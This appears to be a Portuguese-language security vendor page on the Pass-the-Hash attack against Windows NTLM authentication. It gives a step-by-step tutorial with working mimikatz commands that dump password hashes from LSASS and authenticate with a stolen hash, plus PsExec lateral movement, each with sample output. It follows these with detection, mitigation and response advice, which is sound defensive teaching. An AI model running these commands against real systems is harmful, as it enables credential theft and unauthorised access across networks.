Ataque Pass the Hash
Uma vez que um adversário ganha acesso à rede, suas táticas mudam para comprometer sistemas adicionais e obter os privilégios necessários para completar sua missão. Pass-the-Hash é uma técnica de roubo de credenciais e movimento lateral na qual um atacante abusa do protocolo de autenticação NTLM para se autenticar como um usuário sem nunca obter a senha em texto claro da conta. Como o atacante usa o hash da senha, que normalmente só muda quando a própria senha é alterada, o adversário tem um tempo significativo para abusar da conta comprometida.
Resumo de Ameaças
Alvo: endpoints Windows habilitados para LM e NTLM
Ferramentas: mimikatz, Cobalt Strike, Empire, Invoke-TheHash, Metasploit
Tática ATT&CK®: Evasão de Defesa, Movimento Lateral
Técnica ATT&CK: T1550.002
Dificuldade
Detecção: Difícil
Mitigação: Difícil
Resposta: Média
Tutorial de Ataque: Como Funciona um Ataque Pass the Hash
PASSO 1: Roubar hashes de senha
Um adversário que tenha conseguido infiltrar-se numa rede pode usar vários métodos para obter hashes de senhas, incluindo ataques DCSync e extrair hashes do NTDS.dit. Outro método, mostrado abaixo, é extrair hashes de senhas da memória do processo LSASS.exe, que armazena hashes para usuários com sessões ativas no computador. Note que esta técnica requer que o adversário tenha comprometido privilégios administrativos no computador (por exemplo, ao induzir um usuário que é administrador na estação de trabalho a abrir um email de phishing).
PS> .\mimikatz.exe "privilege::debug" "log passthehash.log" "sekurlsa::logonpasswords"
Authentication Id : 0 ; 302247 (00000000:00049ca7)
Session: RemoteInteractive from 2
User Name: joed
Domain: DOMAIN
Logon Server: DC1
Logon Time: 09/07/2020 10:31:19
SID: S-1-5-21-3501040295-3816137123-30697657-1109
msv :
[00000003] Primary
* Username : joed
* Domain: DOMAIN
* NTLM: eed224b4784bb040aab50b8856fe9f02
* SHA1: 42f95dd2a124ceea737c42c06ce7b7cdfbf0ad4b
* DPAPI: e75e04767f812723a24f7e6d91840c1d
tspkg :
wdigest :
* Username : joed
* Domain: DOMAIN
* Password : (null)
kerberos :
* Username : joed
* Domain: domain.com
* Password : (null)
ssp :
credman :
PASSO 2: Autentique-se usando um hash de senha roubado
Em seguida, o adversário usa um dos hashes de senha roubados para se autenticar como um usuário utilizando a técnica Pass the Hash. O exemplo abaixo demonstra o uso do hash de senha roubado para iniciar o cmd.exe; também é possível passar o hash diretamente pela rede para qualquer recurso acessível que permita autenticação NTLM.
Para passar o hash usando mimikatz sekurlsa::pth, os seguintes parâmetros são especificados:
/user: — The compromised user’s username
/domain: — The FQDN of the domain (if using a domain account) or “.” (if using a local account)
/ntlm:, /aes128: or /aes256: — The stolen NTLM, AES-128 or AES-256 password hash
PS> .\mimikatz.exe "sekurlsa::pth /user:JoeD /domain:domain.com /ntlm:eed224b4784bb040aab50b8856fe9f02"
user: JoeD
domain: domain.com
program : cmd.exe
impers. : no
NTLM: eed224b4784bb040aab50b8856fe9f02
| PID11560
|TID10044
|LSA Process is now R/W
|LUID 0 ; 58143370 (00000000:0377328a)
\_ msv1_0- data copy @ 000001AE3DDE8A30 : OK !
\_ kerberos - data copy @ 000001AE3DECE9E8
\_ aes256_hmac-> null
\_ aes128_hmac-> null
\_ rc4_hmac_ntOK
\_ rc4_hmac_oldOK
\_ rc4_md4OK
\_ rc4_hmac_nt_expOK
\_ rc4_hmac_old_expOK
\_ *Password replace @ 000001AE3DFEC428 (32) -> null
# New CMD Window Opens
ETAPA 3: Acesse outros recursos
Finalmente, o adversário pode usar seus privilégios recém-adquiridos para avançar seus objetivos. O exemplo abaixo mostra como eles podem usar a ferramenta PSExec para executar comandos em sistemas remotos a fim de expandir sua presença e repetir o ciclo de roubo de credenciais e movimento lateral em um número cada vez maior de sistemas.
PS> .\PSExec.exe \\server1 cmd.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname
server1
Detectar, Mitigar e Responder
Detectar
Dificuldade: Difícil
Porque a autenticação NTLM é processada por cada estação de trabalho e servidor, o pass-the-hash pode ser desafiador para as organizações detectarem, já que cada ponto final precisa ser monitorado para atividades suspeitas.
- Monitore as autenticações NTLM (particularmente para conexões remotas) para alterações nos padrões de comportamento do usuário, por exemplo: um usuário acessando um número maior de endpoints do que o normal; ou, um usuário acessando endpoints pela primeira vez.
- Para extrair hashes do processo LSASS.exe de um endpoint, o malware precisaria obter um identificador com os privilégios PROCESS_VM_OPERATION e PROCESS_VM_WRITE. Soluções de Endpoint Detection and Response podem monitorar processos que criam identificadores suspeitos.
- Extrair hashes do Active Directory requer privilégios administrativos e uso de outras técnicas como DCSync e extrair hashes do NTDS.dit. A detecção dessas técnicas é discutida em suas páginas do Catálogo de Ataques.
Mitigar
Dificuldade: Difícil
Porque o abuso do método pass-the-hash explora características do protocolo NTLM, ele não pode ser completamente eliminado. No entanto, existem soluções que podem dificultar para os adversários comprometerem os hashes ou restringir a capacidade deles de usar esses hashes para se moverem lateralmente.
- Ative o Windows Defender Credential Guard da Microsoft. Introduzido no Windows 10 e no Windows Server 2016, o Credential Guard é construído sobre a virtualização para proteger o armazenamento de credenciais e permitir apenas que processos confiáveis tenham acesso a eles.
- Remova os privilégios de administrador dos usuários de suas estações de trabalho, limitando a capacidade de um adversário executar malware e removendo os privilégios necessários para extrair hashes do LSASS.exe.
- Não permita que usuários possuam privilégios administrativos em um grande número de endpoints. Isso reduz significativamente o valor de uma credencial para um adversário que busca usá-la para movimentação lateral.
- Não permita que usuários possuam privilégios administrativos além das fronteiras de segurança. Isso reduz significativamente o risco de que credenciais comprometidas possam ser usadas por um adversário para escalar privilégios.
- Randomize e armazene senhas de administrador local usando uma solução como a Local Administrator Password Solution (LAPS) da Microsoft. Isso reduz a capacidade de um adversário se mover lateralmente com contas locais que compartilham a mesma senha.
- Não permita que contas locais se autentiquem pela rede. Isso reduz a capacidade de um adversário se mover lateralmente com contas locais que compartilham a mesma senha. Dois novos SIDS conhecidos foram adicionados no Windows 8.1 e Windows 2012R2 e podem ser usados em políticas de grupo para esse propósito. O SID S-1-5-113 se aplicará a qualquer conta local, enquanto o SID S-1-5-114 se aplicará a qualquer conta local que também seja membro do grupo de Administradores locais.
- Adicione contas de domínio privilegiadas ao grupo Protected Users para reduzir os riscos de roubo de credenciais.
- Configure um firewall baseado em host (como o Windows Defender Firewall) para controlar e limitar quais hosts podem se comunicar com outros. Por exemplo, na maioria dos ambientes, as estações de trabalho têm pouca necessidade de se comunicarem diretamente com outras estações de trabalho. Usar um firewall baseado em host para bloquear esse tráfego pode limitar o movimento lateral.
Responder
Dificuldade: Média
Se você detectar um possível uso de Pass the Hash, tome as seguintes ações imediatamente:
- Ative o processo de resposta a incidentes e alerte a equipe de resposta.
- Redefina a senha do usuário comprometido, o que torna o hash da senha roubada inválido.
- Coloque as máquinas impactadas em quarentena para investigação forense e atividades de erradicação e recuperação. Analise os registros para determinar se este computador é o paciente zero ou se o atacante se deslocou para esta máquina de outro lugar, bem como se o atacante se deslocou desta máquina para outra.
Compartilhar em
Ver ataques de cibersegurança relacionados
Abuso de Permissões de Aplicativos Entra ID – Como Funciona e Estratégias de Defesa
Modificação do AdminSDHolder – Como Funciona e Estratégias de Defesa
Ataque AS-REP Roasting - Como Funciona e Estratégias de Defesa
Ataque Hafnium - Como Funciona e Estratégias de Defesa
Ataques DCSync Explicados: Ameaça à Segurança do Active Directory
Ataque Golden SAML
Entendendo ataques Golden Ticket
Ataque a Contas de Serviço Gerenciadas por Grupo
Ataque DCShadow – Como Funciona, Exemplos Reais e Estratégias de Defesa
Injeção de Prompt do ChatGPT: Entendendo Riscos, Exemplos e Prevenção
Ataque de Extração de Senha NTDS.dit
Ataque de Kerberoasting – Como Funciona e Estratégias de Defesa
Ataque Pass-the-Ticket Explicado: Riscos, Exemplos e Estratégias de Defesa
Ataque de Password Spraying
Ataque de Extração de Senha em Texto Simples
Vulnerabilidade Zerologon Explicada: Riscos, Explorações e Mitigação
Ataques de ransomware ao Active Directory
Desbloqueando o Active Directory com o Ataque Skeleton Key
Movimento Lateral: O que é, Como Funciona e Prevenções
Ataques Man-in-the-Middle (MITM): O que São & Como Preveni-los
Por que o PowerShell é tão popular entre os atacantes?
4 ataques a contas de serviço e como se proteger contra eles
Como Prevenir que Ataques de Malware Afetem o Seu Negócio
O que é Credential Stuffing?
Comprometendo o SQL Server com PowerUpSQL
O que são ataques de Mousejacking e como se defender contra eles
Roubando Credenciais com um Provedor de Suporte de Segurança (SSP)
Ataques de Rainbow Table: Como Funcionam e Como se Defender Contra Eles
Um Olhar Abrangente sobre Ataques de Senha e Como Impedi-los
Reconhecimento LDAP
Bypassando MFA com o ataque Pass-the-Cookie
Ataque Silver Ticket